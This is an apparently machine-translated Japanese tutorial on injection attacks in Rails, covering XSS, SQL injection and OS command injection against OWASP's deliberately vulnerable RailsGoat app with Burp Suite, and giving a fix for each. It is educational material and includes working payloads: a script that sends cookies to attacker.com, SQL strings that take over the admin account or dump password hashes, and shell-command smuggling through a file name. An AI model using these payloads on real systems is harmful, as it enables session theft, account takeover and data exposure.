Ruby
 Computer >> コンピューター >  >> プログラミング >> Ruby

Railsのセキュリティの脅威:インジェクション

ユーザーデータを扱う場合は、それが安全であることを確認する必要があります。ただし、セキュリティを初めて使用する場合は、扱いにくく、退屈で、複雑に見える可能性があります。

この記事は、一般的なタイプのセキュリティの脆弱性と、それらがRailsの開発にどのように影響するかについて説明するシリーズの最初の記事です。この地形を通るマップとして、OWASPトップ10Webアプリケーションセキュリティリスクを使用します。

OWASPは、 Open Web ApplicationSecurityProjectの略です。 これは、Web上の重大なセキュリティ問題について世界を教育するために働く専門家のグループです。彼らのトップ10 リストには、Webアプリケーションの最も一般的な脆弱性が列挙されています:

  1. 注射
  2. 認証の失敗
  3. 機密データの公開
  4. XML外部エンティティ(XXE)
  5. 壊れたアクセス制御
  6. セキュリティの設定ミス
  7. クロスサイトスクリプティング(XSS)
  8. 安全でない逆シリアル化
  9. 既知の脆弱性を持つコンポーネントの使用
  10. 不十分なログと監視

リストは定期的に更新されますが、予想よりも変更が少なくなります。新しいテクノロジーは古い問題を継承します。この記事では、具体的には、インジェクションに関連する3つのトピックについて説明します。

  • JavaScriptインジェクション-アプリケーションがクライアントから悪意のあるデータを受け入れる場合、データを検証/サニタイズせず、ブラウザに送り返します。
  • SQLインジェクション-SQLの一部がデータベースクエリの一部として安全でないSQLインタープリターに意図的に送信され、インタープリターをだまして危険なコマンドを実行させたり、機密情報にアクセスさせたりする場合。
  • OSインジェクション-攻撃者がシステムコマンドからデータを入力する保護されていないアプリケーションでシステムコマンドを実行しようとする場合。

理論から実践へと進み、それぞれがどのように機能するかを完全に示します。では、飛び込みましょう!

注射の脅威

アプリケーションでデータのソースを管理している場合は、その中にインジェクションベクトルが含まれている可能性があります。アプリをハッキングするための創造的で革新的な方法に関しては、ハッカーはあなたを驚かせるような新しいものを発明し続けています。

インジェクションの攻撃の世界から始めましょう。アプリがサニタイズされ保護されていると思われる場合は、もう一度考えてみてください。

JavaScriptインジェクション

クロスサイトスクリプティング(XSS)として一般に知られているJavaScriptインジェクションは、すべて、バックエンドアプリケーション(クライアントが信頼する)をだまして、悪意のあるデータやスクリプトをブラウザに送り返すことを目的としています。

これが発生すると、攻撃者はユーザーのブラウザでスクリプトを実行してセッションを盗んだり、アプリケーションの「名前で」機密情報を要求したり、ユーザーを危険なWebサイトにリダイレクトしたりする可能性があります。

有名なブログのコメントセクションを例として取り上げましょう。アプリケーションが完全に脆弱であり、ブログの新しいコメントに対するPOSTを受け取り、値がサニタイズなしでデータベースに直接送信されると想像してください。

POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>

ウェブサイトがコメントセクションをリロードすると、新しいコメントが取得され、ブラウザで指定されたスクリプトが実行されます。

アプリケーションページ内で実行されるスクリプト(完全に受け入れ可能)は、ユーザーのCookie情報を取得し、それを攻撃者のサイトに直接送信します。

SQLインジェクション

SQLインジェクションは、SQLデータベースを処理するアプリケーションが、ユーザーの入力がクエリのいずれかに連結(または補間)されるたびに、ユーザーの入力を安全にサニタイズしない場合に発生します。

Railsの世界で知っているかもしれないSQLインジェクションに関連する2つの主な脅威があります:インジェクション連結 および補間 。違いを確認しましょう。

SQLインジェクションの連結 最も有名です。これは、攻撃者がHTTPクエリパラメータまたはリクエスト本文の一部として危険なSQLの一部を送信したときに発生します。これは、アプリケーション層がこのタイプのコンテンツを識別してサニタイズできない場合に、ほとんどのデータベースで機能するトリックです。

例として、機密情報を取得するためにユーザーにユーザー名でクエリを実行しているとします。

User.where("name = '#{userName}'")

そのuserNameを考慮して はサニタイズされていないユーザー入力であるため、攻撃者はパラメータの値を次のように変更する可能性があります

' OR '1'='1' --

その結果、クエリは次のように変換されます:

SELECT * FROM users WHERE username = '' OR '1'='1';

最後に追加された条件は常にtrueに等しいため 、このクエリは常に実行され、ユーザーからの何百もの機密データが公開されます。

SQL補間 注射につながる可能性があります。どのように? スコーピング機能を覚えていますか RailsのActiveRecord?これにより、メソッド呼び出しとして参照するために頻繁に使用するクエリ(whereなど)を指定できます。 、joins 、およびincludes )関連付けオブジェクトまたはモデル。この例を見てください:

class User < ApplicationRecord
  scope :filtered_name, -> { where(name: interpolated_string) }
end

あなたは残りを推測したかもしれません。 whereがある場合 開発者がサニタイズされていない入力値を連結できるようにするための句を使用すると、前の例とほぼ同じSQLインジェクションになります。

OSインジェクション

OSインジェクションは、アプリケーションがユーザーにシステムレベルのコマンドの入力を許可し、それらをフィルタリングしない場合に発生します。

攻撃者はアプリケーションが実行されているOSへの無料のトンネルを持っているため、結果は非常に危険です。 OSベースのセキュリティレイヤーの設定方法によっては、そこで実行されている他のアプリケーションからのデータやファイルも公開される可能性があります。

Railsコードベースに次のコード行のいずれかが表示されている場合は、OSインジェクションが発生する可能性があることに注意してください。

%x[...]
system()
exec()
`my command` // the backticks

次のRailsの実装を検討してください。

new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")

そのsome_path がクライアントから送信されている場合、攻撃者は次のように値を送信する可能性があります。

some_path = 'some/path; cat ./config/database.yml'

わかったよね?クレデンシャルを含むすべてのデータベースデータ(構成クラウドに安全に保存されていない場合)は、攻撃者に公開されます。

RailsGoatプロジェクト

時間を節約し、脆弱な例を最初から作成する必要をなくすために、幸いなことに、RailsGoatプロジェクトがあります。これは、公式のOWASP GitHubリポジトリによって提供される無数のオープンソースプロジェクト(754プロジェクト)の1つであり、セキュリティの脅威について開発者を教育するために意図的にプログラムされた上位10の脆弱性のほとんどを含むRails用に作成されています。

このシリーズでは、プロジェクトのサンプルを使用して、リスクをもう少し深く、さらには実際に実行していることを調査します。

セットアップ

先に進む前に、このプロジェクトにはいくつかの必要な依存関係があります:Ruby、Git、MySQL、およびPostgres。先に進む前に、それらがすべてマシンにインストールされていることを確認してください。

プロジェクトを設定するには、まず、ローカルでクローンを作成します。

git clone https://github.com/OWASP/railsgoat.git

Ruby 2.6.5ではデフォルトでターゲットになっているため、まだインストールされていない場合は、適切なバージョンをインストールしてください。

rvm install "ruby-2.6.5"

次に、アプリのルートフォルダーで次のコマンドを発行します。

bundle install
rails db:setup
rails s

Railsプロジェクトの依存関係をダウンロードしてインストールし、データベースをセットアップして、Railsサーバーを起動します。

いくつかの調整

OSによっては、RailsGoatが少し古くなっているため(最新リリースは2018年3月)、install コマンドによってエラーが発生する場合があります。たとえば、Macを使用していて、コンソールで次のエラーが発生した場合:

Railsのセキュリティの脅威:インジェクション libv8に関するコンソールエラー

次に、必要なgemをインストールするだけです:

gem install libv8 -v '3.16.14.19' -- --with-system-v8

おそらく非難されるもう1つのものは、 therubyracer このバージョンのRubyのlibv8に関連するバグによるgem 。必ず次のコマンドを実行してください:

brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15

デフォルトでは、現在の設定ではSQLiteがデフォルトのデータベースと見なされます。ただし、次の例では、実際のデータベースが必要になります。 MySQLを使用します。

まず、ファイル config / database.ymlを開きます。 mysqlを見つけます ノードを作成し、MySQLクレデンシャルに従って構成を変更します。データベース名はそのままにしておくことができます。

Railsサーバーを停止し、MySQLが稼働していることを確認します。次に、次のコマンドを実行します。

#Create the MySQL database
RAILS_ENV=mysql rails db:create

#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate

#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed

#Boot Rails using MySQl
RAILS_ENV=mysql rails s

または、Dockerを介してRailsGoatを起動することもできます。それはあなた次第です!

それでおしまい!これで、ブラウザーを開いてRailsGoatアプリにログインできます。自動生成されたクレデンシャルは、トップバーの[チュートリアルのクレデンシャル]ボタンで利用できます。いずれかを選択しますが、それが管理者ユーザーではないことを確認してください。

Railsのセキュリティの脅威:インジェクション MetaCorpRailsアプリケーション

HTTPプロキシの設定

ハッカーは、主にHTTPリクエストとレスポンスをスニッフィングすることで機能します。リクエストとレスポンスをインターセプト、視覚化、変更することで、ブラウザとサーバー間で実行されるHTTPプロキシアプリケーションを利用します。

このシリーズでは、これらの1つも必要になります。この作業に最適なツールは、げっぷです。これは企業向けの有料ツールですが、無料のコミュニティバージョンは私たちの目的には十分すぎるほどです。ですから、公式の指示に従ってダウンロードしてインストールしてください。

BurpはJavaで作成されているため、Javaもインストールする必要があることに注意してください。

正しく機能させるには、必ずこれらの手順をフォローアップしてください。ツールが開いたら、プロキシ>インターセプトに移動します タブで、[インターセプトがオンです]ボタンを切り替えます "、次に"ブラウザを開く "。これにより、Burpに直接接続されたGoogle Chromiumが開き、リクエスト/レスポンスをスニッフィングできるようになります。

そこに何かを入力して、Burpがどのように物事を追跡するかを確認してください。

脅威の実行

ここで、前に説明した脅威のそれぞれが実際のシナリオでどのように発生するかを見てみましょう。 JavaScriptインジェクションから始めましょう。

JavaScriptインジェクションの実行

RailsGoatアプリで、 _header.html.erbを開きます。 views / layouts / sharedにあるファイル フォルダ。次のHTMLスニペットが表示される場合があります。

<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>

さて、このRailsメソッドは安全な名前を必要としますが、そうではありません。文字列が安全であると信頼されているかどうかを示しますが、ユーザー入力をサニタイズしません。

Burpが実行されていないことを確認してから、登録ページに移動し、[名]フィールドに次のように入力します。

<script>alert("hello, XSS!")</script>

登録を完了し、新しく作成したユーザーでログインします。ナビゲーションバーに"Welcome " + the script codeが表示される場合があります 。

これを解決する方法

これはよくある誤解です。開発者は通常この方法を使用しますが、データを保護しません。代わりに、sanitizeを使用する必要があります HTMLを明示的にレンダリングする必要があるときはいつでも。

この例では、.html_safeを削除するだけです。 、そして攻撃は排除されます。

SonarQubeのようなツールをプロジェクトに組み込むことをお勧めします。これらのツールは、上記のような一般的な脅威を特定し、危険性とその修正方法について開発者に警告します。

開発者の記憶だけに頼るのは良い考えではありません。

SQLインジェクション:連結の例

RailsGoat SQLインジェクションの例は、 users_controller.rb内にあります。 、 app / controllersの内部 フォルダ。開いて内容を確認します。

データベース内でユーザーデータを作成および更新するための2つの主な方法が表示される場合があります。 updateで問題を検出できますか 方法?行って、試してみてください!

user = User.where("id = '#{params[:user][:id]}'")[0]

where句で連結するのは正しくないことをご存知でしょう。ただし、修正する前にハッキングの可能性をテストしましょう。

Burp Chromiumブラウザーで実行中のアプリに戻り、アカウント設定に移動します。 メニュー:

Railsのセキュリティの脅威:インジェクション

アカウント設定へのアクセス

そこに到達したら、げっぷツールを開き、[インターセプトがオンになっている]ボタンを確認します。 「」が切り替えられます。次に、パスワードフィールドにいくつかの値を入力し、[送信]をクリックします

げっぷはリクエストを傍受し、 Params タブをクリックすると、以下に示すようなものが表示される場合があります。

Railsのセキュリティの脅威:インジェクション BurpSuiteツール-[パラメータ]タブ

はい、すべてのリクエストパラメータがここに表示されます。それらは表示されるだけでなく、編集することもできます。 Burpは、編集が完了してからサーバーにリリースするまで、リクエストを保持します。

回答についても同じことができます。

それでは、アプリケーションをだましてみましょう。私たちの目標は、現在ログインしているユーザーではなく、管理者ユーザーのパスワードを更新することです。

まず、ユーザーのemailを削除する必要があります 、first_name 、およびlast_name 管理者ユーザーのこれらの値を変更することを目的としていないため、params。

次に、user[id]を編集できます 次のパラメータ値:

0') OR admin = true -- '

何が起きてる?上記の値6 現在ログに記録されているユーザーIDを参照します。ただし、このユーザーに関連するものは変更せず、管理者のみを変更します。ゼロは誰にも関係しません。これは、ORの後の条件から適切です。 私たちにとって重要なのはです。

管理者のIDがわからないことを考えると(知っている場合は、時間を節約できます)、データベースをだましてadminを介して選択させる必要があります。 役割の列。

編集が終了したら、[転送]をクリックします ボタンをクリックすると、リクエストが解放され、管理者のパスワードが更新されます。

これはSQLRailsが生成するものです:

SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')

次に、新しいパスワードを使用して管理者アカウントにログインします。

これを解決する方法

これを解決するための安全な方法がいくつかあります。クライアントの要求から何が来ているかに関係なく、データベースが更新される前に、いつでもデータベースからユーザーを取得できます。

ただし、開発者のコ​​ーディングスタイルによって異なり、常に保証されるわけではありません。

したがって、パラメータ化されたデータベースクエリが役に立ちます。見てみましょう:

user = User.where("id = ?", params[:user][:id])[0]

それはそれと同じくらい簡単です!これ以上のハッキングはありません。

SQLインジェクション:補間の例

RailsGoatでは、各リクエストは監査機能としてデータベースに保存されます。この例では、 analytics.rbを分析してみましょう。 hits_by_ipというスコープを格納するクラス 。これは、データベースからのリクエストデータを一覧表示する管理機能です。

このモデルがスコープ内の文字列をどのように補間するかを見てみましょう:

scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }

ただし、このアプローチは危険です。理由を見てみましょう。通常のユーザーとしてログインしているため、一部のメニューは表示されませんが、それらのエンドポイントが使用できないことを意味するわけではありません。したがって、先に進んでhttp:// localhost:3000 / admin / 1/analyticsアドレスにアクセスしてください。

ローカルホストレベルで作業しているため、 127.0.0.1の下にのみデータが表示されます。 IP。ただし、本番環境では、クライアントIPを検索します。

したがって、 127.0.0.1と入力します 「IPで検索」に 「テキストボックスを入力してEnterキーを押します。げっぷツールのインターセプトボタンをオンにすることを忘れないでください。

Paramsに参加したら タブで、追加をクリックできます URLの新しいパラメータを追加するボタン 次の名前を入力して付けます:

field[(select+group_concat(password)+from+users+where+admin=true)]

スコープは補間された文字列を受け取るため、選択クエリに必要な数のルールを追加するだけで済みます。このクエリは、具体的には次のようになります:

SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;

これは、データベースから管理者ハッシュパスワードを取得し、それをビューに直接表示していることを意味します:

Railsのセキュリティの脅威:インジェクション 管理者のハッシュ化されたパスワードの照会

これを解決する方法

まず、ユーザーがアクセスする必要のあるものだけにアクセスできるようにします。このようなエンドポイントは、アクセス可能または保護されていない必要があります。

別の予防策として、受け入れるべき値をホワイトリストに登録し、受け入れない値を制限することができます。 parse_fieldを見てください 同じモデルクラス内のメソッド。指定されたフィールドがホワイトリスト配列に含まれているかどうかを確認します。

したがって、モデルのスコープを呼び出す前に、パラメータを繰り返し処理して、問題がないかどうかを確認できます。 admin_controller.rbの18行目を更新して実行しましょう (スコープと呼ばれます):

fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")

OSインジェクションの動作

RailsGoat内のOSインジェクションの例を見てみましょう。 betterfits.rbを開きます app / modelsの下のモデル フォルダを作成し、そのmake_backupを確認してください メソッド。

このメソッドは、「福利厚生フォーム」を介してアップロードされているファイルのバックアップコピーを作成します アプリケーションの」セクション。メソッドがsystemを使用することを除いて、ここでは問題はないようです。 コマンド:

silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }

一見正しいように見えますが、もう一度見てください。ユーザー入力から他のシステムコマンドを完全に追加でき、ファイルの作成など、それらは問題なく実行されます。

待ってください、これはファイルのアップロード機能です。ファイルの入力を更新するにはどうすればよいですか?実際の動作を見てみましょう。

RailsGoatアプリに戻り、[Benefit Forms]メニューをクリックして、好みのファイルを選択し、Burpインターセプトボタンをオンにします。次に、[アップロードの開始]をクリックします 。

リクエストが傍受されると、以下に示すように、ヘッダーの内容を確認できます。

Railsのセキュリティの脅威:インジェクション ファイルのアップロードが傍受されました

この画像では、2つの強調表示されたパラメータを確認できます:benefits[backup] およびbenefits[upload]

最初の値をtrueに変更する必要があります ファイルのバックアップを作成するフローをアクティブ化する必要があるため、脆弱性が存在する場所です。

次に、filenameを変更します 次の2番目のパラメータのプロパティ:

filename="kid-2.png;+touch+abc.txt"

次に、傍受ボタンを放します。これは、実行の最後に新しいコマンドに変換され、 abc.txtという新しいファイルが作成されます。 。シンプルであることに加えて、これはあなたの流れがどれほど脆弱であるか、そしてそれがハッカーにとって完璧な遊び場であるかどうかの良い例です。

OSインジェクションからの保護

少し明白に思えるかもしれません。なぜ誰かがコマンドシステムを介してファイルをコピーするのですか?そこに実行されているレガシーアプリケーションの数に驚かれることでしょう。それらの多くは巨大なコードベースで構成されており、そのような脆弱性を検出する作業を非常に困難な作業に変えることができます。

そうです、RubyのFileUtilsのような公式の内部ライブラリを利用するだけです:

FileUtils.cp
  "#{full_file_name}",
  "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
まとめ

今日、私たちは注射のセキュリティの脅威の乱流をナビゲートしました。この作品は、注射の問題を取り巻くすべての相関する問題を網羅しているわけではありませんが、OWASPによって特定された最も有名な問題を探求しています。

ボーナスとして、私は主題のあなたの知識を向上させるのを助けるいくつかの重要なリンクを提供します。もちろん、最初の記事はOWASPトップ10の記事です。例やさまざまなシナリオを含む他の記事への外部リンクがたくさんあります。

Rails SQLインジェクションは、コミュニティの一部のメンバーによってキュレーションされたコンパイル済みドキュメントであり、実用的な例を通じて一般的なSQLインジェクションに対応しています。これまでに取り上げた内容の後で必読です。

大事なことを言い忘れましたが、公式のSecurityRailsドキュメントが利用可能です。インジェクションを含む、Railsアプリケーション内のセキュリティに関するすべてをカバーしています。ですから、よく読んでください。勉強を続けてください。次の停車地でお会いしましょう!


  1. 最新のWindows10セキュリティの脅威と脆弱性(2019)

    Windows 10は、これまでにないほど安全なWindowsOSです。自動更新が絶え間なく行われ(問題がかなりの割合で発生している場合でも)、それに組み込まれている最高のPCセキュリティスイートの1つであるため、通常、いつ心配する必要はないと言っても過言ではありません。 OSを使用します。 しかし、それはあなたが満足しなければならないという意味ではありません、そしてWindows10の現存するセキュリティの脅威に注意を払うことはそれらを避けるための最良の方法です。これは、今日もユーザーに影響を及ぼし続けている最も深刻なWindowsセキュリティの脆弱性の一部です。 CVE-2017-11

  2. Railsのセキュリティの脅威:認証

    このシリーズのパート1、インジェクションアタックについて説明しました OWASPトップ10Webアプリケーションセキュリティリスクに関するシリーズの2番目の記事では、認証の失敗とデータ漏洩の脅威の世界に飛び込みます。 具体的には、ハッカーが作成したコードをだまして攻撃を実行し、ユーザーのデータを取得するのがいかに簡単かについて説明します。 ユーザー列挙 :データベースに存在するかどうかを確認するためだけに、可能性のあるユーザーのリストをブルートフォーステストしてログインページを悪用した場合。 弱いパスワード :システムで弱いパスワードが許可されている場合、ハッカーはブルートフォース攻撃を